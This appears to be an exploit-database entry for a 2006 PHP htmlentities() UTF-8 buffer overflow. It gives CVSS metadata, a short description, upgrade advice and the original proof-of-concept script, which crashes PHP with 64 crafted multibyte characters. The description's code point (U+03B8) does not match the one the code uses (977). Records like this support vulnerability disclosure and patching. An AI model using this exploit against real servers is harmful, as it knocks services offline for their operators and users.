header-logo
Suggest Exploit
vendor:
PHP
by:
Nick Kezhaya
7,5
CVSS
HIGH
Denial of Service (DoS)
20
CWE
Product Name: PHP
Affected Version From: 5.1.6
Affected Version To: 5.2.0
Patch Exists: YES
Related CWE: N/A
CPE: a:php:php:5.1.6
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: All
2006

htmlentities() UTF-8 DoS Vulnerability

A Denial of Service (DoS) vulnerability exists in the htmlentities() method of PHP due to a bug in the UTF-8 character encoding. The vulnerability is triggered when a string of 64 or more Greek Theta characters (U+03B8) is passed to the htmlentities() method. This causes the method to assume that the string is only 8 characters long, resulting in a buffer overflow and a DoS condition.

Mitigation:

Upgrade to the latest version of PHP or apply the patch provided by the vendor.
Source

Exploit-DB raw data:

<?php
	/*	    Nick Kezhaya	*/
	/*    www.whitepaperclip.com 	*/
	
	//instantiate a string
	$str1 = "";
	
	for($i=0; $i < 64; $i++) {
		$str1 .= toUTF(977); //MUST start with 977 before bit-shifting
	}
	
	htmlentities($str1, ENT_NOQUOTES, "UTF-8"); //DoS here
	/*
		htmlentities() method automatically assumes
		it is a max of 8 chars.  uses greek theta
		character bug from UTF-8
	*/
	
?>

<?php
	function toUTF($x) {
		return chr(($x >> 6) + 192) . chr(($x & 63) + 128);
	}
?>

# milw0rm.com [2006-11-27]